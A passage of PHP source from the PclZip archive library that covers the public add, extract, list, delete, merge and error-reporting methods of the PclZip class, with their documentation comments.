             ,PCLZIP_ATT_FILE_MTIME => 'optional'
             ,PCLZIP_ATT_FILE_CONTENT => 'optional'
             ,PCLZIP_ATT_FILE_COMMENT => 'optional'
						);
    foreach ($v_att_list as $v_entry) {
      $v_result = $this->privFileDescrParseAtt($v_entry,
                                               $v_filedescr_list[],
                                               $v_options,
                                               $v_supported_attributes);
      if ($v_result != 1) {
        return 0;
      }
    }

    // ----- Expand the filelist (expand directories)
    $v_result = $this->privFileDescrExpand($v_filedescr_list, $v_options);
    if ($v_result != 1) {
      return 0;
    }

    // ----- Call the create fct
    $v_result = $this->privCreate($v_filedescr_list, $p_result_list, $v_options);
    if ($v_result != 1) {
      return 0;
    }

    // ----- Return
    return $p_result_list;
  }
  // --------------------------------------------------------------------------------

  // --------------------------------------------------------------------------------
  // Function :
  //   add($p_filelist, $p_add_dir="", $p_remove_dir="")
  //   add($p_filelist, $p_option, $p_option_value, ...)
  // Description :
  //   This method supports two synopsis. The first one is historical.
  //   This methods add the list of files in an existing archive.
  //   If a file with the same name already exists, it is added at the end of the
  //   archive, the first one is still present.
  //   If the archive does not exist, it is created.
  // Parameters :
  //   $p_filelist : An array containing file or directory names, or
  //                 a string containing one filename or one directory name, or
  //                 a string containing a list of filenames and/or directory
  //                 names separated by spaces.
  //   $p_add_dir : A path to add before the real path of the archived file,
  //                in order to have it memorized in the archive.
  //   $p_remove_dir : A path to remove from the real path of the file to archive,
  //                   in order to have a shorter path memorized in the archive.
  //                   When $p_add_dir and $p_remove_dir are set, $p_remove_dir
  //                   is removed first, before $p_add_dir is added.
  // Options :
  //   PCLZIP_OPT_ADD_PATH :
  //   PCLZIP_OPT_REMOVE_PATH :
  //   PCLZIP_OPT_REMOVE_ALL_PATH :
  //   PCLZIP_OPT_COMMENT :
  //   PCLZIP_OPT_ADD_COMMENT :
  //   PCLZIP_OPT_PREPEND_COMMENT :
  //   PCLZIP_CB_PRE_ADD :
  //   PCLZIP_CB_POST_ADD :
  // Return Values :
  //   0 on failure,
  //   The list of the added files, with a status of the add action.
  //   (see PclZip::listContent() for list entry format)
  // --------------------------------------------------------------------------------
  function add($p_filelist)
  {
    $v_result=1;

    // ----- Reset the error handler
    $this->privErrorReset();

    // ----- Set default values
    $v_options = array();
    $v_options[PCLZIP_OPT_NO_COMPRESSION] = FALSE;

    // ----- Look for variable options arguments
    $v_size = func_num_args();

    // ----- Look for arguments
    if ($v_size > 1) {
      // ----- Get the arguments
      $v_arg_list = func_get_args();

      // ----- Remove form the options list the first argument
      array_shift($v_arg_list);
      $v_size--;

      // ----- Look for first arg
      if ((is_integer($v_arg_list[0])) && ($v_arg_list[0] > 77000)) {

        // ----- Parse the options
        $v_result = $this->privParseOptions($v_arg_list, $v_size, $v_options,
                                            array (PCLZIP_OPT_REMOVE_PATH => 'optional',
                                                   PCLZIP_OPT_REMOVE_ALL_PATH => 'optional',
                                                   PCLZIP_OPT_ADD_PATH => 'optional',
                                                   PCLZIP_CB_PRE_ADD => 'optional',
                                                   PCLZIP_CB_POST_ADD => 'optional',
                                                   PCLZIP_OPT_NO_COMPRESSION => 'optional',
                                                   PCLZIP_OPT_COMMENT => 'optional',
                                                   PCLZIP_OPT_ADD_COMMENT => 'optional',
                                                   PCLZIP_OPT_PREPEND_COMMENT => 'optional',
                                                   PCLZIP_OPT_TEMP_FILE_THRESHOLD => 'optional',
                                                   PCLZIP_OPT_TEMP_FILE_ON => 'optional',
                                                   PCLZIP_OPT_TEMP_FILE_OFF => 'optional'
                                                   //, PCLZIP_OPT_CRYPT => 'optional'
												   ));
        if ($v_result != 1) {
          return 0;
        }
      }

      // ----- Look for 2 args
      // Here we need to support the first historic synopsis of the
      // method.
      else {

        // ----- Get the first argument
        $v_options[PCLZIP_OPT_ADD_PATH] = $v_add_path = $v_arg_list[0];

        // ----- Look for the optional second argument
        if ($v_size == 2) {
          $v_options[PCLZIP_OPT_REMOVE_PATH] = $v_arg_list[1];
        }
        else if ($v_size > 2) {
          // ----- Error log
          PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Invalid number / type of arguments");

          // ----- Return
          return 0;
        }
      }
    }

    // ----- Look for default option values
    $this->privOptionDefaultThreshold($v_options);

    // ----- Init
    $v_string_list = array();
    $v_att_list = array();
    $v_filedescr_list = array();
    $p_result_list = array();

    // ----- Look if the $p_filelist is really an array
    if (is_array($p_filelist)) {

      // ----- Look if the first element is also an array
      //       This will mean that this is a file description entry
      if (isset($p_filelist[0]) && is_array($p_filelist[0])) {
        $v_att_list = $p_filelist;
      }

      // ----- The list is a list of string names
      else {
        $v_string_list = $p_filelist;
      }
    }

    // ----- Look if the $p_filelist is a string
    else if (is_string($p_filelist)) {
      // ----- Create a list from the string
      $v_string_list = explode(PCLZIP_SEPARATOR, $p_filelist);
    }

    // ----- Invalid variable type for $p_filelist
    else {
      PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Invalid variable type '".gettype($p_filelist)."' for p_filelist");
      return 0;
    }

    // ----- Reformat the string list
    if (sizeof($v_string_list) != 0) {
      foreach ($v_string_list as $v_string) {
        $v_att_list[][PCLZIP_ATT_FILE_NAME] = $v_string;
      }
    }

    // ----- For each file in the list check the attributes
    $v_supported_attributes
    = array ( PCLZIP_ATT_FILE_NAME => 'mandatory'
             ,PCLZIP_ATT_FILE_NEW_SHORT_NAME => 'optional'
             ,PCLZIP_ATT_FILE_NEW_FULL_NAME => 'optional'
             ,PCLZIP_ATT_FILE_MTIME => 'optional'
             ,PCLZIP_ATT_FILE_CONTENT => 'optional'
             ,PCLZIP_ATT_FILE_COMMENT => 'optional'
						);
    foreach ($v_att_list as $v_entry) {
      $v_result = $this->privFileDescrParseAtt($v_entry,
                                               $v_filedescr_list[],
                                               $v_options,
                                               $v_supported_attributes);
      if ($v_result != 1) {
        return 0;
      }
    }

    // ----- Expand the filelist (expand directories)
    $v_result = $this->privFileDescrExpand($v_filedescr_list, $v_options);
    if ($v_result != 1) {
      return 0;
    }

    // ----- Call the create fct
    $v_result = $this->privAdd($v_filedescr_list, $p_result_list, $v_options);
    if ($v_result != 1) {
      return 0;
    }

    // ----- Return
    return $p_result_list;
  }
  // --------------------------------------------------------------------------------

  // --------------------------------------------------------------------------------
  // Function : listContent()
  // Description :
  //   This public method, gives the list of the files and directories, with their
  //   properties.
  //   The properties of each entries in the list are (used also in other functions) :
  //     filename : Name of the file. For a create or add action it is the filename
  //                given by the user. For an extract function it is the filename
  //                of the extracted file.
  //     stored_filename : Name of the file / directory stored in the archive.
  //     size : Size of the stored file.
  //     compressed_size : Size of the file's data compressed in the archive
  //                       (without the headers overhead)
  //     mtime : Last known modification date of the file (UNIX timestamp)
  //     comment : Comment associated with the file
  //     folder : true | false
  //     index : index of the file in the archive
  //     status : status of the action (depending of the action) :
  //              Values are :
  //                ok : OK !
  //                filtered : the file / dir is not extracted (filtered by user)
  //                already_a_directory : the file can not be extracted because a
  //                                      directory with the same name already exists
  //                write_protected : the file can not be extracted because a file
  //                                  with the same name already exists and is
  //                                  write protected
  //                newer_exist : the file was not extracted because a newer file exists
  //                path_creation_fail : the file is not extracted because the folder
  //                                     does not exist and can not be created
  //                write_error : the file was not extracted because there was an
  //                              error while writing the file
  //                read_error : the file was not extracted because there was an error
  //                             while reading the file
  //                invalid_header : the file was not extracted because of an archive
  //                                 format error (bad file header)
  //   Note that each time a method can continue operating when there
  //   is an action error on a file, the error is only logged in the file status.
  // Return Values :
  //   0 on an unrecoverable failure,
  //   The list of the files in the archive.
  // --------------------------------------------------------------------------------
  function listContent()
  {
    $v_result=1;

    // ----- Reset the error handler
    $this->privErrorReset();

    // ----- Check archive
    if (!$this->privCheckFormat()) {
      return(0);
    }

    // ----- Call the extracting fct
    $p_list = array();
    if (($v_result = $this->privList($p_list)) != 1)
    {
      unset($p_list);
      return(0);
    }

    // ----- Return
    return $p_list;
  }
  // --------------------------------------------------------------------------------

  // --------------------------------------------------------------------------------
  // Function :
  //   extract($p_path="./", $p_remove_path="")
  //   extract([$p_option, $p_option_value, ...])
  // Description :
  //   This method supports two synopsis. The first one is historical.
  //   This method extract all the files / directories from the archive to the
  //   folder indicated in $p_path.
  //   If you want to ignore the 'root' part of path of the memorized files
  //   you can indicate this in the optional $p_remove_path parameter.
  //   By default, if a newer file with the same name already exists, the
  //   file is not extracted.
  //
  //   If both PCLZIP_OPT_PATH and PCLZIP_OPT_ADD_PATH options
  //   are used, the path indicated in PCLZIP_OPT_ADD_PATH is append
  //   at the end of the path value of PCLZIP_OPT_PATH.
  // Parameters :
  //   $p_path : Path where the files and directories are to be extracted
  //   $p_remove_path : First part ('root' part) of the memorized path
  //                    (if any similar) to remove while extracting.
  // Options :
  //   PCLZIP_OPT_PATH :
  //   PCLZIP_OPT_ADD_PATH :
  //   PCLZIP_OPT_REMOVE_PATH :
  //   PCLZIP_OPT_REMOVE_ALL_PATH :
  //   PCLZIP_CB_PRE_EXTRACT :
  //   PCLZIP_CB_POST_EXTRACT :
  // Return Values :
  //   0 or a negative value on failure,
  //   The list of the extracted files, with a status of the action.
  //   (see PclZip::listContent() for list entry format)
  // --------------------------------------------------------------------------------
  function extract()
  {
    $v_result=1;

    // ----- Reset the error handler
    $this->privErrorReset();

    // ----- Check archive
    if (!$this->privCheckFormat()) {
      return(0);
    }

    // ----- Set default values
    $v_options = array();
//    $v_path = "./";
    $v_path = '';
    $v_remove_path = "";
    $v_remove_all_path = false;

    // ----- Look for variable options arguments
    $v_size = func_num_args();

    // ----- Default values for option
    $v_options[PCLZIP_OPT_EXTRACT_AS_STRING] = FALSE;

    // ----- Look for arguments
    if ($v_size > 0) {
      // ----- Get the arguments
      $v_arg_list = func_get_args();

      // ----- Look for first arg
      if ((is_integer($v_arg_list[0])) && ($v_arg_list[0] > 77000)) {

        // ----- Parse the options
        $v_result = $this->privParseOptions($v_arg_list, $v_size, $v_options,
                                            array (PCLZIP_OPT_PATH => 'optional',
                                                   PCLZIP_OPT_REMOVE_PATH => 'optional',
                                                   PCLZIP_OPT_REMOVE_ALL_PATH => 'optional',
                                                   PCLZIP_OPT_ADD_PATH => 'optional',
                                                   PCLZIP_CB_PRE_EXTRACT => 'optional',
                                                   PCLZIP_CB_POST_EXTRACT => 'optional',
                                                   PCLZIP_OPT_SET_CHMOD => 'optional',
                                                   PCLZIP_OPT_BY_NAME => 'optional',
                                                   PCLZIP_OPT_BY_EREG => 'optional',
                                                   PCLZIP_OPT_BY_PREG => 'optional',
                                                   PCLZIP_OPT_BY_INDEX => 'optional',
                                                   PCLZIP_OPT_EXTRACT_AS_STRING => 'optional',
                                                   PCLZIP_OPT_EXTRACT_IN_OUTPUT => 'optional',
                                                   PCLZIP_OPT_REPLACE_NEWER => 'optional'
                                                   ,PCLZIP_OPT_STOP_ON_ERROR => 'optional'
                                                   ,PCLZIP_OPT_EXTRACT_DIR_RESTRICTION => 'optional',
                                                   PCLZIP_OPT_TEMP_FILE_THRESHOLD => 'optional',
                                                   PCLZIP_OPT_TEMP_FILE_ON => 'optional',
                                                   PCLZIP_OPT_TEMP_FILE_OFF => 'optional'
												    ));
        if ($v_result != 1) {
          return 0;
        }

        // ----- Set the arguments
        if (isset($v_options[PCLZIP_OPT_PATH])) {
          $v_path = $v_options[PCLZIP_OPT_PATH];
        }
        if (isset($v_options[PCLZIP_OPT_REMOVE_PATH])) {
          $v_remove_path = $v_options[PCLZIP_OPT_REMOVE_PATH];
        }
        if (isset($v_options[PCLZIP_OPT_REMOVE_ALL_PATH])) {
          $v_remove_all_path = $v_options[PCLZIP_OPT_REMOVE_ALL_PATH];
        }
        if (isset($v_options[PCLZIP_OPT_ADD_PATH])) {
          // ----- Check for '/' in last path char
          if ((strlen($v_path) > 0) && (substr($v_path, -1) != '/')) {
            $v_path .= '/';
          }
          $v_path .= $v_options[PCLZIP_OPT_ADD_PATH];
        }
      }

      // ----- Look for 2 args
      // Here we need to support the first historic synopsis of the
      // method.
      else {

        // ----- Get the first argument
        $v_path = $v_arg_list[0];

        // ----- Look for the optional second argument
        if ($v_size == 2) {
          $v_remove_path = $v_arg_list[1];
        }
        else if ($v_size > 2) {
          // ----- Error log
          PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Invalid number / type of arguments");

          // ----- Return
          return 0;
        }
      }
    }

    // ----- Look for default option values
    $this->privOptionDefaultThreshold($v_options);

    // ----- Trace

    // ----- Call the extracting fct
    $p_list = array();
    $v_result = $this->privExtractByRule($p_list, $v_path, $v_remove_path,
	                                     $v_remove_all_path, $v_options);
    if ($v_result < 1) {
      unset($p_list);
      return(0);
    }

    // ----- Return
    return $p_list;
  }
  // --------------------------------------------------------------------------------


  // --------------------------------------------------------------------------------
  // Function :
  //   extractByIndex($p_index, $p_path="./", $p_remove_path="")
  //   extractByIndex($p_index, [$p_option, $p_option_value, ...])
  // Description :
  //   This method supports two synopsis. The first one is historical.
  //   This method is doing a partial extract of the archive.
  //   The extracted files or folders are identified by their index in the
  //   archive (from 0 to n).
  //   Note that if the index identify a folder, only the folder entry is
  //   extracted, not all the files included in the archive.
  // Parameters :
  //   $p_index : A single index (integer) or a string of indexes of files to
  //              extract. The form of the string is "0,4-6,8-12" with only numbers
  //              and '-' for range or ',' to separate ranges. No spaces or ';'
  //              are allowed.
  //   $p_path : Path where the files and directories are to be extracted
  //   $p_remove_path : First part ('root' part) of the memorized path
  //                    (if any similar) to remove while extracting.
  // Options :
  //   PCLZIP_OPT_PATH :
  //   PCLZIP_OPT_ADD_PATH :
  //   PCLZIP_OPT_REMOVE_PATH :
  //   PCLZIP_OPT_REMOVE_ALL_PATH :
  //   PCLZIP_OPT_EXTRACT_AS_STRING : The files are extracted as strings and
  //     not as files.
  //     The resulting content is in a new field 'content' in the file
  //     structure.
  //     This option must be used alone (any other options are ignored).
  //   PCLZIP_CB_PRE_EXTRACT :
  //   PCLZIP_CB_POST_EXTRACT :
  // Return Values :
  //   0 on failure,
  //   The list of the extracted files, with a status of the action.
  //   (see PclZip::listContent() for list entry format)
  // --------------------------------------------------------------------------------
  //function extractByIndex($p_index, options...)
  function extractByIndex($p_index)
  {
    $v_result=1;

    // ----- Reset the error handler
    $this->privErrorReset();

    // ----- Check archive
    if (!$this->privCheckFormat()) {
      return(0);
    }

    // ----- Set default values
    $v_options = array();
//    $v_path = "./";
    $v_path = '';
    $v_remove_path = "";
    $v_remove_all_path = false;

    // ----- Look for variable options arguments
    $v_size = func_num_args();

    // ----- Default values for option
    $v_options[PCLZIP_OPT_EXTRACT_AS_STRING] = FALSE;

    // ----- Look for arguments
    if ($v_size > 1) {
      // ----- Get the arguments
      $v_arg_list = func_get_args();

      // ----- Remove form the options list the first argument
      array_shift($v_arg_list);
      $v_size--;

      // ----- Look for first arg
      if ((is_integer($v_arg_list[0])) && ($v_arg_list[0] > 77000)) {

        // ----- Parse the options
        $v_result = $this->privParseOptions($v_arg_list, $v_size, $v_options,
                                            array (PCLZIP_OPT_PATH => 'optional',
                                                   PCLZIP_OPT_REMOVE_PATH => 'optional',
                                                   PCLZIP_OPT_REMOVE_ALL_PATH => 'optional',
                                                   PCLZIP_OPT_EXTRACT_AS_STRING => 'optional',
                                                   PCLZIP_OPT_ADD_PATH => 'optional',
                                                   PCLZIP_CB_PRE_EXTRACT => 'optional',
                                                   PCLZIP_CB_POST_EXTRACT => 'optional',
                                                   PCLZIP_OPT_SET_CHMOD => 'optional',
                                                   PCLZIP_OPT_REPLACE_NEWER => 'optional'
                                                   ,PCLZIP_OPT_STOP_ON_ERROR => 'optional'
                                                   ,PCLZIP_OPT_EXTRACT_DIR_RESTRICTION => 'optional',
                                                   PCLZIP_OPT_TEMP_FILE_THRESHOLD => 'optional',
                                                   PCLZIP_OPT_TEMP_FILE_ON => 'optional',
                                                   PCLZIP_OPT_TEMP_FILE_OFF => 'optional'
												   ));
        if ($v_result != 1) {
          return 0;
        }

        // ----- Set the arguments
        if (isset($v_options[PCLZIP_OPT_PATH])) {
          $v_path = $v_options[PCLZIP_OPT_PATH];
        }
        if (isset($v_options[PCLZIP_OPT_REMOVE_PATH])) {
          $v_remove_path = $v_options[PCLZIP_OPT_REMOVE_PATH];
        }
        if (isset($v_options[PCLZIP_OPT_REMOVE_ALL_PATH])) {
          $v_remove_all_path = $v_options[PCLZIP_OPT_REMOVE_ALL_PATH];
        }
        if (isset($v_options[PCLZIP_OPT_ADD_PATH])) {
          // ----- Check for '/' in last path char
          if ((strlen($v_path) > 0) && (substr($v_path, -1) != '/')) {
            $v_path .= '/';
          }
          $v_path .= $v_options[PCLZIP_OPT_ADD_PATH];
        }
        if (!isset($v_options[PCLZIP_OPT_EXTRACT_AS_STRING])) {
          $v_options[PCLZIP_OPT_EXTRACT_AS_STRING] = FALSE;
        }
        else {
        }
      }

      // ----- Look for 2 args
      // Here we need to support the first historic synopsis of the
      // method.
      else {

        // ----- Get the first argument
        $v_path = $v_arg_list[0];

        // ----- Look for the optional second argument
        if ($v_size == 2) {
          $v_remove_path = $v_arg_list[1];
        }
        else if ($v_size > 2) {
          // ----- Error log
          PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Invalid number / type of arguments");

          // ----- Return
          return 0;
        }
      }
    }

    // ----- Trace

    // ----- Trick
    // Here I want to reuse extractByRule(), so I need to parse the $p_index
    // with privParseOptions()
    $v_arg_trick = array (PCLZIP_OPT_BY_INDEX, $p_index);
    $v_options_trick = array();
    $v_result = $this->privParseOptions($v_arg_trick, sizeof($v_arg_trick), $v_options_trick,
                                        array (PCLZIP_OPT_BY_INDEX => 'optional' ));
    if ($v_result != 1) {
        return 0;
    }
    $v_options[PCLZIP_OPT_BY_INDEX] = $v_options_trick[PCLZIP_OPT_BY_INDEX];

    // ----- Look for default option values
    $this->privOptionDefaultThreshold($v_options);

    // ----- Call the extracting fct
    if (($v_result = $this->privExtractByRule($p_list, $v_path, $v_remove_path, $v_remove_all_path, $v_options)) < 1) {
        return(0);
    }

    // ----- Return
    return $p_list;
  }
  // --------------------------------------------------------------------------------

  // --------------------------------------------------------------------------------
  // Function :
  //   delete([$p_option, $p_option_value, ...])
  // Description :
  //   This method removes files from the archive.
  //   If no parameters are given, then all the archive is emptied.
  // Parameters :
  //   None or optional arguments.
  // Options :
  //   PCLZIP_OPT_BY_INDEX :
  //   PCLZIP_OPT_BY_NAME :
  //   PCLZIP_OPT_BY_EREG :
  //   PCLZIP_OPT_BY_PREG :
  // Return Values :
  //   0 on failure,
  //   The list of the files which are still present in the archive.
  //   (see PclZip::listContent() for list entry format)
  // --------------------------------------------------------------------------------
  function delete()
  {
    $v_result=1;

    // ----- Reset the error handler
    $this->privErrorReset();

    // ----- Check archive
    if (!$this->privCheckFormat()) {
      return(0);
    }

    // ----- Set default values
    $v_options = array();

    // ----- Look for variable options arguments
    $v_size = func_num_args();

    // ----- Look for arguments
    if ($v_size > 0) {
      // ----- Get the arguments
      $v_arg_list = func_get_args();

      // ----- Parse the options
      $v_result = $this->privParseOptions($v_arg_list, $v_size, $v_options,
                                        array (PCLZIP_OPT_BY_NAME => 'optional',
                                               PCLZIP_OPT_BY_EREG => 'optional',
                                               PCLZIP_OPT_BY_PREG => 'optional',
                                               PCLZIP_OPT_BY_INDEX => 'optional' ));
      if ($v_result != 1) {
          return 0;
      }
    }

    // ----- Magic quotes trick
    $this->privDisableMagicQuotes();

    // ----- Call the delete fct
    $v_list = array();
    if (($v_result = $this->privDeleteByRule($v_list, $v_options)) != 1) {
      $this->privSwapBackMagicQuotes();
      unset($v_list);
      return(0);
    }

    // ----- Magic quotes trick
    $this->privSwapBackMagicQuotes();

    // ----- Return
    return $v_list;
  }
  // --------------------------------------------------------------------------------

  // --------------------------------------------------------------------------------
  // Function : deleteByIndex()
  // Description :
  //   ***** Deprecated *****
  //   delete(PCLZIP_OPT_BY_INDEX, $p_index) should be preferred.
  // --------------------------------------------------------------------------------
  function deleteByIndex($p_index)
  {

    $p_list = $this->delete(PCLZIP_OPT_BY_INDEX, $p_index);

    // ----- Return
    return $p_list;
  }
  // --------------------------------------------------------------------------------

  // --------------------------------------------------------------------------------
  // Function : properties()
  // Description :
  //   This method gives the properties of the archive.
  //   The properties are :
  //     nb : Number of files in the archive
  //     comment : Comment associated with the archive file
  //     status : not_exist, ok
  // Parameters :
  //   None
  // Return Values :
  //   0 on failure,
  //   An array with the archive properties.
  // --------------------------------------------------------------------------------
  function properties()
  {

    // ----- Reset the error handler
    $this->privErrorReset();

    // ----- Magic quotes trick
    $this->privDisableMagicQuotes();

    // ----- Check archive
    if (!$this->privCheckFormat()) {
      $this->privSwapBackMagicQuotes();
      return(0);
    }

    // ----- Default properties
    $v_prop = array();
    $v_prop['comment'] = '';
    $v_prop['nb'] = 0;
    $v_prop['status'] = 'not_exist';

    // ----- Look if file exists
    if (@is_file($this->zipname))
    {
      // ----- Open the zip file
      if (($this->zip_fd = @fopen($this->zipname, 'rb')) == 0)
      {
        $this->privSwapBackMagicQuotes();

        // ----- Error log
        PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, 'Unable to open archive \''.$this->zipname.'\' in binary read mode');

        // ----- Return
        return 0;
      }

      // ----- Read the central directory information
      $v_central_dir = array();
      if (($v_result = $this->privReadEndCentralDir($v_central_dir)) != 1)
      {
        $this->privSwapBackMagicQuotes();
        return 0;
      }

      // ----- Close the zip file
      $this->privCloseFd();

      // ----- Set the user attributes
      $v_prop['comment'] = $v_central_dir['comment'];
      $v_prop['nb'] = $v_central_dir['entries'];
      $v_prop['status'] = 'ok';
    }

    // ----- Magic quotes trick
    $this->privSwapBackMagicQuotes();

    // ----- Return
    return $v_prop;
  }
  // --------------------------------------------------------------------------------

  // --------------------------------------------------------------------------------
  // Function : duplicate()
  // Description :
  //   This method creates an archive by copying the content of an other one. If
  //   the archive already exist, it is replaced by the new one without any warning.
  // Parameters :
  //   $p_archive : The filename of a valid archive, or
  //                a valid PclZip object.
  // Return Values :
  //   1 on success.
  //   0 or a negative value on error (error code).
  // --------------------------------------------------------------------------------
  function duplicate($p_archive)
  {
    $v_result = 1;

    // ----- Reset the error handler
    $this->privErrorReset();

    // ----- Look if the $p_archive is an instantiated PclZip object
    if ($p_archive instanceof pclzip)
    {

      // ----- Duplicate the archive
      $v_result = $this->privDuplicate($p_archive->zipname);
    }

    // ----- Look if the $p_archive is a string (so a filename)
    else if (is_string($p_archive))
    {

      // ----- Check that $p_archive is a valid zip file
      // TBC : Should also check the archive format
      if (!is_file($p_archive)) {
        // ----- Error log
        PclZip::privErrorLog(PCLZIP_ERR_MISSING_FILE, "No file with filename '".$p_archive."'");
        $v_result = PCLZIP_ERR_MISSING_FILE;
      }
      else {
        // ----- Duplicate the archive
        $v_result = $this->privDuplicate($p_archive);
      }
    }

    // ----- Invalid variable
    else
    {
      // ----- Error log
      PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Invalid variable type p_archive_to_add");
      $v_result = PCLZIP_ERR_INVALID_PARAMETER;
    }

    // ----- Return
    return $v_result;
  }
  // --------------------------------------------------------------------------------

  // --------------------------------------------------------------------------------
  // Function : merge()
  // Description :
  //   This method merge the $p_archive_to_add archive at the end of the current
  //   one ($this).
  //   If the archive ($this) does not exist, the merge becomes a duplicate.
  //   If the $p_archive_to_add archive does not exist, the merge is a success.
  // Parameters :
  //   $p_archive_to_add : It can be directly the filename of a valid zip archive,
  //                       or a PclZip object archive.
  // Return Values :
  //   1 on success,
  //   0 or negative values on error (see below).
  // --------------------------------------------------------------------------------
  function merge($p_archive_to_add)
  {
    $v_result = 1;

    // ----- Reset the error handler
    $this->privErrorReset();

    // ----- Check archive
    if (!$this->privCheckFormat()) {
      return(0);
    }

    // ----- Look if the $p_archive_to_add is an instantiated PclZip object
    if ($p_archive_to_add instanceof pclzip)
    {

      // ----- Merge the archive
      $v_result = $this->privMerge($p_archive_to_add);
    }

    // ----- Look if the $p_archive_to_add is a string (so a filename)
    else if (is_string($p_archive_to_add))
    {

      // ----- Create a temporary archive
      $v_object_archive = new PclZip($p_archive_to_add);

      // ----- Merge the archive
      $v_result = $this->privMerge($v_object_archive);
    }

    // ----- Invalid variable
    else
    {
      // ----- Error log
      PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Invalid variable type p_archive_to_add");
      $v_result = PCLZIP_ERR_INVALID_PARAMETER;
    }

    // ----- Return
    return $v_result;
  }
  // --------------------------------------------------------------------------------



  // --------------------------------------------------------------------------------
  // Function : errorCode()
  // Description :
  // Parameters :
  // --------------------------------------------------------------------------------
  function errorCode()
  {
    if (PCLZIP_ERROR_EXTERNAL == 1) {
      return(PclErrorCode());
    }
    else {
      return($this->error_code);
    }
  }
  // --------------------------------------------------------------------------------

  // --------------------------------------------------------------------------------
  // Function : errorName()
  // Description :
  // Parameters :
  // --------------------------------------------------------------------------------
  function errorName($p_with_code=false)
  {
    $v_name = array ( PCLZIP_ERR_NO_ERROR => 'PCLZIP_ERR_NO_ERROR',
                      PCLZIP_ERR_WRITE_OPEN_FAIL => 'PCLZIP_ERR_WRITE_OPEN_FAIL',
                      PCLZIP_ERR_READ_OPEN_FAIL => 'PCLZIP_ERR_READ_OPEN_FAIL',
                      PCLZIP_ERR_INVALID_PARAMETER => 'PCLZIP_ERR_INVALID_PARAMETER',
                      PCLZIP_ERR_MISSING_FILE => 'PCLZIP_ERR_MISSING_FILE',
                      PCLZIP_ERR_FILENAME_TOO_LONG => 'PCLZIP_ERR_FILENAME_TOO_LONG',
                      PCLZIP_ERR_INVALID_ZIP => 'PCLZIP_ERR_INVALID_ZIP',
                      PCLZIP_ERR_BAD_EXTRACTED_FILE => 'PCLZIP_ERR_BAD_EXTRACTED_FILE',
                      PCLZIP_ERR_DIR_CREATE_FAIL => 'PCLZIP_ERR_DIR_CREATE_FAIL',
                      PCLZIP_ERR_BAD_EXTENSION => 'PCLZIP_ERR_BAD_EXTENSION',
                      PCLZIP_ERR_BAD_FORMAT => 'PCLZIP_ERR_BAD_FORMAT',
                      PCLZIP_ERR_DELETE_FILE_FAIL => 'PCLZIP_ERR_DELETE_FILE_FAIL',
                      PCLZIP_ERR_RENAME_FILE_FAIL => 'PCLZIP_ERR_RENAME_FILE_FAIL',
                      PCLZIP_ERR_BAD_CHECKSUM => 'PCLZIP_ERR_BAD_CHECKSUM',
                      PCLZIP_ERR_INVALID_ARCHIVE_ZIP => 'PCLZIP_ERR_INVALID_ARCHIVE_ZIP',
                      PCLZIP_ERR_MISSING_OPTION_VALUE => 'PCLZIP_ERR_MISSING_OPTION_VALUE',
                      PCLZIP_ERR_INVALID_OPTION_VALUE => 'PCLZIP_ERR_INVALID_OPTION_VALUE',
                      PCLZIP_ERR_UNSUPPORTED_COMPRESSION => 'PCLZIP_ERR_UNSUPPORTED_COMPRESSION',
                      PCLZIP_ERR_UNSUPPORTED_ENCRYPTION => 'PCLZIP_ERR_UNSUPPORTED_ENCRYPTION'
                      ,PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE => 'PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE'
                      ,PCLZIP_ERR_DIRECTORY_RESTRICTION => 'PCLZIP_ERR_DIRECTORY_RESTRICTION'
                    );

    if (isset($v_name[$this->error_code])) {
      $v_value = $v_name[$this->error_code];
    }
    else {
      $v_value = 'NoName';
    }

    if ($p_with_code) {
      return($v_value.' ('.$this->error_code.')');
    }
    else {
      return($v_value);
    }
  }
  // --------------------------------------------------------------------------------

  // --------------------------------------------------------------------------------
  // Function : errorInfo()
  // Description :
  // Parameters :
  // --------------------------------------------------------------------------------
  function errorInfo($p_full=false)
  {
    if (PCLZIP_ERROR_EXTERNAL == 1) {
      return(PclErrorString());
    }
    else {
      if ($p_full) {
        return($this->errorName(true)." : ".$this->error_string);
      }
      else {
        return($this->error_string." [code ".$this->error_code."]");
      }
    }
  }
  // --------------------------------------------------------------------------------


// --------------------------------------------------------------------------------
// ***** UNDER THIS LINE ARE DEFINED PRIVATE INTERNAL FUNCTIONS *****
// *****                                                        *****
// *****       THESES FUNCTIONS MUST NOT BE USED DIRECTLY       *****
// --------------------------------------------------------------------------------



  // --------------------------------------------------------------------------------
  // Function : privCheckFormat()
  // Description :
  //   This method check that the archive exists and is a valid zip archive.
  //   Several level of check exists. (futur)
  // Parameters :
  //   $p_level : Level of check. Default 0.
  //              0 : Check the first bytes (magic codes) (default value))
  //              1 : 0 + Check the central directory (futur)
  //              2 : 1 + Check each file header (futur)
  // Return Values :
  //   true on success,
  //   false on error, the error code is set.
  // --------------------------------------------------------------------------------
  function privCheckFormat($p_level=0)
  {
    $v_result = true;

	// ----- Reset the file system cache
    clearstatcache();

    // ----- Reset the error handler
    $this->privErrorReset();

    // ----- Look if the file exits
    if (!is_file($this->zipname)) {
      // ----- Error log
      PclZip::privErrorLog(PCLZIP_ERR_MISSING_FILE, "Missing archive file '".$this->zipname."'");
      return(false);
    }

    // ----- Check that the file is readable
    if (!is_readable($this->zipname)) {
      // ----- Error log
      PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, "Unable to read archive '".$this->zipname."'");
      return(false);
    }

    // ----- Check the magic code
    // TBC

    // ----- Check the central header
    // TBC

    // ----- Check each file header
    // TBC

    // ----- Return
    return $v_result;
  }
  // --------------------------------------------------------------------------------

  // --------------------------------------------------------------------------------
  // Function : privParseOptions()
  // Description :
  //   This internal methods reads the variable list of arguments ($p_options_list,
  //   $p_size) and generate an array with the options and values ($v_result_list).
  //   $v_requested_options contains the options that can be present and those that
  //   must be present.
  //   $v_requested_options is an array, with the option value as key, and 'optional',
  //   or 'mandatory' as value.
  // Parameters :
  //   See above.
  // Return Values :
  //   1 on success.
  //   0 on failure.
  // --------------------------------------------------------------------------------
